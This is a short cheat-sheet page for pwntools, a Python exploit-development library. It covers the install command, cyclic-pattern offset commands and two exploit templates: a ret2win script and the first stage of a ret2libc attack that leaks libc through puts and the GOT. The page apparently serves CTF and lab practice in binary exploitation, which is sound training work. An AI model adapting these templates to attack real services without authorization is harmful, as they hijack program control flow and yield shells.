pwntools

pwntools takes the heavy lifting out of an exploit: it computes the offset with cyclic, reads ELF symbols and the GOT, builds ROP chains and talks the same way to a local process or the remote service.

Platform: Linux (Python)
Official site: github.com/Gallopsled/pwntools

Install

pip3 install pwntools

pwntools cheat sheet

Your values Saved in this browser and applied to every cheatsheet.

Target IP

4 commands

Offset

200-byte pattern

cyclic 200

Offset from the value that ends up in RIP/EIP

cyclic -l 0x6161616c

Templates

Ret2win

from pwn import *
elf = context.binary = ELF('./binario')
p = process(elf.path)  # remote('10.10.11.20', 1337)
offset = 72
p.sendline(flat({offset: elf.sym['win']}))
p.interactive()

Leak libc with puts (ret2libc, first stage)

rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call(elf.sym['main'])
p.sendline(flat({offset: rop.chain()}))
fuga = u64(p.recvline().strip().ljust(8, b'\x00'))

Guides that use pwntools

Linux buffer overflow step by step: ret2win and ret2libc with pwntools 4 min read From a crashing binary to a shell: checksec, finding the offset with cyclic, ret2win, bypassing NX with ret2libc and leaking libc to beat ASLR, with pwntools templates.